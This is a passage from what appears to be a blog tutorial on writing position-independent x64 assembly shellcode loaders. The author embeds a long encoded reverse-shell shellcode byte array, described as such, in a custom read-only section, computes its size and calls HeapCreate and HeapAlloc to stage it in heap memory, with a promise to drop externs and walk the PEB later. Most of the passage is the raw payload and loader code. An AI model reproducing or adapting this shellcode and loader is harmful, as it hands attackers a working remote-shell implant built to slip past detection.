class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span>
<span class="no">encoded_shellcode_total</span><span class="kd"> equ</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">encoded_shellcode</span>

<span class="nf">section</span> <span class="nv">.data</span> 

<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>
</code></pre></div></div>

<p>I basically introduce my own custom .SECTION entry called .shellstuff because I can 😸  I then place our reverse shell shellcode in it and make it read only, just like the C++ code.</p>

<p>I calculate the total shellcode using: <code class="language-plaintext highlighter-rouge">encoded_shellcode_total equ $ - encoded_shellcode</code>  This is PIC frienly btw!</p>

<p>Let’s revisit that API call for HeapAlloc.  Now that you know how to calculate the total amount of bytes for our shellcode, you can better understand the visual studio disassebly.  Here’s our version of what we could see within Visual Studio for our original C++ code.  If we manually calculated the total size, it would be 0x1FA, which is the value shown in the Visual Studio Disassembler.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span>  <span class="nv">r8</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span> <span class="c1">;size of shellcode</span>
<span class="nf">mov</span>  <span class="nb">edx</span><span class="p">,</span><span class="mi">8</span>  
<span class="nf">mov</span>  <span class="nb">rcx</span><span class="p">,</span><span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">-</span> <span class="mi">72</span><span class="p">]</span>  
<span class="nf">call</span> <span class="nv">HeapAlloc</span>
</code></pre></div></div>

<p>So, we call Heap Alloc and now our Heap has stored enough bytes to hold our shellcode.  Next up, a custom assembly loop will be introduced that copies our shellcode into the heap memory location we allocated. 😺</p>

<p>Before we do that, let me show you our PIC friendly assembly code so far, both the code and how it looks in x64dbg.  Bear in mind we will eventually remove the <code class="language-plaintext highlighter-rouge">externs</code>.  I’m just using that to simplify teaching you the basics of how we lay the foundation for PIC assembly code.  We’ll get more into how to do this without relying on externs in Part 2.  Externs are a way to call the windows API of our choosing without walking the PEB and manually locating the api.  In case you were wondering.  Ok, here’s our code so far:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">; nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">; ld -m i386pep -N -o x64findkernel32.exe x64findkernel32.obj</span>
<span class="c1">; externs: ld -m i386pep -LC:\mingw64\x86_64-w64-mingw32\lib asmsock.obj -o asmsock.exe -lws2_32 -lkernel32</span>

<span class="k">BITS</span> <span class="mi">64</span>

<span class="nf">section</span> <span class="nv">.shellstuff</span> <span class="nv">rdata</span> <span class="nv">read</span>
<span class="nl">encoded_shellcode:</span>
<span class="kd">db</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span>
<span class="no">encoded_shellcode_total</span><span class="kd"> equ</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">encoded_shellcode</span>

<span class="nf">section</span> <span class="nv">.data</span> 

<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>

<span class="c1">; both of these are conveniently in kernel32.dll ;)</span>
<span class="nf">extern</span> <span class="nv">HeapCreate</span>
<span class="nf">extern</span> <span class="nv">HeapAlloc</span>

<span class="nl">main:</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>
